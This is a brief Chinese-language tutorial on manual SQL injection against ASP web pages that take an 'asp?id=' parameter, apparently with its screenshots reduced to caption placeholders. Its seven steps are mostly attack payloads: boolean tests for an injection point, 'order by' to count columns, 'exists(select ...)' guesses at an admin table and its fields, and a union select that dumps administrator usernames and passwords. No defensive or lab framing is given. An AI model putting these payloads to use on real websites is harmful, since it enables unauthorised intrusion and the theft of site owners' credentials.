步骤:

    1. 目标确定(asp?id=)

    2. 判断注入点(and 1=1、and 1=2)

    3. 判断列长度(order by number)

    4. 猜测表名,与字段名(and exists(select column_name from table_name)

    5. 联合查询(union select  1,2,...,admin,...,password,...  from table_name)


具体步骤:

  1. 目标确定

    寻找网页中存在asp?id=:

    asp注入_asp


2. 判断是否存在注入点:

    and 1=2 报错。但是and 1=1返回正常。   表示存在注入点。

    asp注入_注入_02

3. 判断字段长度:

    输入order by 12 返回错误,输入order by 11 返回正常

asp注入_asp_03


4. 猜测表名:

    and exists(select * from admin)没有报错,说明存在admin这个表

asp注入_注入_04


5. 猜字段名

        输入and exists(select admin from admin)返回正常   存在admin字段

        输入 and exists(select password from admin) 返回正常   存在password表

        asp注入_注入_05

6. 联合查询:

    union select 1,2,3,4,5,6,7,8,9,10,11 from admin   爆出非数字类型的列

asp注入_asp_06


7. 爆用户名个密码

    把非数字列的,也就是上图中的 2 3  8 9 10  字段换成刚才猜测出的 admin  以及 password就可以得到用户与密码:

asp注入_asp_07